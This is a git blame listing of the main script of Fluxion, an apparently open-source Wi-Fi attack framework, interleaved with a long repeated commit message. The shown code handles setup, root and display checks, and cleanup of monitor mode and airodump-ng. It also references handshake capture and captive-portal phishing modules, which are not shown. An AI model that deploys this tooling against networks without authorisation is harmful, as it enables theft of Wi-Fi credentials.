2016-05-15 09:34:47 -06:00
|
|
|
#!/bin/bash
|
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
################################ < FLUXION Parameters > ################################
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
# NOTE: The FLUXIONPath constant will not be populated correctly if the script is called
|
|
|
|
# directly via a symlink. Symlinks in the path to the script should work completely fine.
|
2017-12-31 09:02:12 -07:00
|
|
|
declare -r FLUXIONPath="$(cd "$(dirname "$0")" ;pwd -P
|
|
|
|
)"
|
2017-02-05 04:59:57 -07:00
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
declare -r FLUXIONWorkspacePath="/tmp/fluxspace"
|
|
|
|
declare -r FLUXIONHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes"
|
|
|
|
declare -r FLUXIONScanDB="dump"
|
2016-12-30 09:46:08 -07:00
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
declare -r FLUXIONNoiseFloor=-90
|
|
|
|
declare -r FLUXIONNoiseCeiling=-60
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
declare -r FLUXIONVersion=3
|
2017-12-31 09:02:12 -07:00
|
|
|
declare -r FLUXIONRevision=11
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
declare -r FLUXIONDebug=${FLUXIONDebug:+1}
|
|
|
|
declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}
|
|
|
|
declare -r FLUXIONWIReloadDriver=${FLUXIONWIReloadDriver:+1}
|
|
|
|
declare -r FLUXIONAuto=${FLUXIONAuto:+1}
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-08-10 21:02:12 -06:00
|
|
|
# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
|
2017-08-20 23:11:32 -06:00
|
|
|
declare -r FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null")
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
declare -r FLUXIONHoldXterm=$([ $FLUXIONDebug ] && echo "-hold" || echo "")
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
################################# < Library Includes > #################################
|
2017-08-20 23:11:32 -06:00
|
|
|
source lib/installer/InstallerUtils.sh
|
2017-08-18 00:52:51 -06:00
|
|
|
source lib/InterfaceUtils.sh
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
source lib/SandboxUtils.sh
|
2017-08-12 14:43:39 -06:00
|
|
|
source lib/FormatUtils.sh
|
2017-08-20 23:11:32 -06:00
|
|
|
source lib/ColorUtils.sh
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
source lib/IOUtils.sh
|
|
|
|
source lib/HashUtils.sh
|
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
################################ < FLUXION Parameters > ################################
|
2017-11-30 21:46:13 -07:00
|
|
|
FLUXIONPrompt="$CRed[${CSBlu}fluxion$CSYel@$CSWht$HOSTNAME$CClr$CRed]-[$CSYel~$CClr$CRed]$CClr "
|
2017-11-30 21:16:26 -07:00
|
|
|
FLUXIONVLine="$CRed[$CSYel*$CClr$CRed]$CClr"
|
2017-08-20 23:11:32 -06:00
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
################################ < Library Parameters > ################################
|
2017-08-18 00:52:51 -06:00
|
|
|
InterfaceUtilsOutputDevice="$FLUXIONOutputDevice"
|
|
|
|
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
SandboxWorkspacePath="$FLUXIONWorkspacePath"
|
|
|
|
SandboxOutputDevice="$FLUXIONOutputDevice"
|
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
InstallerUtilsWorkspacePath="$FLUXIONWorkspacePath"
|
|
|
|
InstallerUtilsOutputDevice="$FLUXIONOutputDevice"
|
|
|
|
InstallerUtilsNoticeMark="$FLUXIONVLine"
|
|
|
|
|
2017-08-21 21:56:41 -06:00
|
|
|
PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log"
|
|
|
|
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
IOUtilsHeader="fluxion_header"
|
|
|
|
IOUtilsQueryMark="$FLUXIONVLine"
|
|
|
|
IOUtilsPrompt="$FLUXIONPrompt"
|
|
|
|
|
|
|
|
HashOutputDevice="$FLUXIONOutputDevice"
|
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
################################# < Super User Check > #################################
|
|
|
|
if [ $EUID -ne 0 ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "${CRed}You don't have admin privilegies, execute the script as root.$CClr"
|
|
|
|
exit 1
|
2016-05-15 09:34:47 -06:00
|
|
|
fi
|
|
|
|
|
2017-08-27 14:36:45 -06:00
|
|
|
################################### < XTerm Checks > ###################################
|
2017-08-20 23:11:32 -06:00
|
|
|
if [ ! "${DISPLAY:-}" ]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "${CRed}The script should be exected inside a X (graphical) session.$CClr"
|
|
|
|
exit 2
|
2016-10-02 14:10:35 -06:00
|
|
|
fi
|
|
|
|
|
2017-09-11 14:51:58 -06:00
|
|
|
if ! hash xdpyinfo 2>/dev/null; then
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "${CRed}xdpyinfo not installed, please install the relevant package for your distribution.$CClr"
|
|
|
|
exit 3
|
2017-09-20 15:19:06 -06:00
|
|
|
fi
|
2017-09-11 14:51:58 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if ! xdpyinfo &>/dev/null; then
|
|
|
|
echo -e "${CRed}The script failed to initialize an xterm test session.$CClr"
|
|
|
|
exit 3
|
2017-09-02 19:34:17 -06:00
|
|
|
fi
|
2017-08-27 14:36:45 -06:00
|
|
|
|
2017-08-20 23:11:32 -06:00
|
|
|
################################# < Default Language > #################################
|
2017-08-26 13:55:10 -06:00
|
|
|
source language/en.sh
|
2017-08-20 23:11:32 -06:00
|
|
|
|
|
|
|
################################# < User Preferences > #################################
|
|
|
|
if [ -x "$FLUXIONPath/preferences.sh" ]; then source "$FLUXIONPath/preferences.sh"; fi
|
|
|
|
|
|
|
|
########################################################################################
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_exitmode() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ $FLUXIONDebug ]; then return 1; fi
|
|
|
|
|
|
|
|
fluxion_header
|
|
|
|
|
|
|
|
echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr"
|
|
|
|
|
|
|
|
# List currently running processes which we might have to kill before exiting.
|
|
|
|
local processes
|
|
|
|
readarray processes < <(ps -A)
|
|
|
|
|
|
|
|
# Currently, fluxion is only responsible for killing airodump-ng, because
|
|
|
|
# fluxion explicitly it uses it to scan for candidate target access points.
|
|
|
|
# NOTICE: Processes started by subscripts, such as an attack script,
|
|
|
|
# MUST BE TERMINATED BY THAT SAME SCRIPT in the subscript's abort handler.
|
|
|
|
local targets=("airodump-ng")
|
|
|
|
|
|
|
|
local targetID # Program identifier/title
|
|
|
|
for targetID in "${targets[@]}"; do
|
|
|
|
# Get PIDs of all programs matching targetPID
|
|
|
|
local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}')
|
|
|
|
if [ ! "$targetPID" ]; then continue; fi
|
|
|
|
echo -e "$CWht[$CRed-$CWht] $(io_dynamic_output $FLUXIONKillingProcessNotice)"
|
|
|
|
killall $targetPID &>$FLUXIONOutputDevice
|
|
|
|
done
|
|
|
|
|
|
|
|
# If the installer activated the package manager, make sure to undo any changes.
|
|
|
|
if [ "$PackageManagerCLT" ]; then
|
|
|
|
echo -e "$CWht[$CRed-$CWht] "$(io_dynamic_output "$FLUXIONRestoringPackageManagerNotice")"$CClr"
|
|
|
|
unprep_package_manager
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ "$WIMonitor" ]; then
|
|
|
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr"
|
|
|
|
if [ "$FLUXIONAirmonNG" ]; then airmon-ng stop "$WIMonitor" &>$FLUXIONOutputDevice
|
|
|
|
else interface_set_mode "$WIMonitor" "managed"
|
2017-12-20 17:30:09 -07:00
|
|
|
fi
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
|
|
|
|
|
|
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr"
|
|
|
|
tput cnorm
|
|
|
|
|
|
|
|
if [ ! $FLUXIONDebug ]; then
|
|
|
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr"
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/*"
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ $FLUXIONWIKillProcesses ]; then
|
|
|
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr"
|
|
|
|
|
|
|
|
# systemctl check
|
|
|
|
systemd=$(whereis systemctl)
|
|
|
|
if [ "$systemd" = "" ]; then
|
|
|
|
service network-manager restart &>$FLUXIONOutputDevice &
|
|
|
|
service networkmanager restart &>$FLUXIONOutputDevice &
|
|
|
|
service networking restart &>$FLUXIONOutputDevice &
|
|
|
|
else
|
|
|
|
systemctl restart NetworkManager &>$FLUXIONOutputDevice &
|
|
|
|
fi
|
|
|
|
fi
|
2017-12-20 17:30:09 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr"
|
|
|
|
echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr"
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
sleep 3
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
